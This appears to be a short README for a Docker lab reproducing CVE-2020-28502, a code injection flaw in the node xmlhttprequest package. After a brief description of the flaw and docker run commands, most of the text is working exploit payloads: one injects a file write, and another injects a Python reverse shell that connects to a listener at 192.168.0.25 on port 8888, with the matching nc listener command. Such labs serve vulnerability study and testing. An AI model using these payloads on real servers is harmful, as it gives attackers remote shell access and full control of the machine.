s-index/cve-2020-28502CVE-2020-28502 node-XMLHttpRequest RCE
This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.
$ docker build -t cve-2020-28502 .
$ docker run --rm -p 3000:3000 cve-2020-28502
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\');require("fs").writeFileSync("./exploit.txt", "exploit!");req.end();//
$ nc -l 8888
change ip address (192.168.0.25) to your local ip address
\');require("child_process").exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.25\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'");req.end();//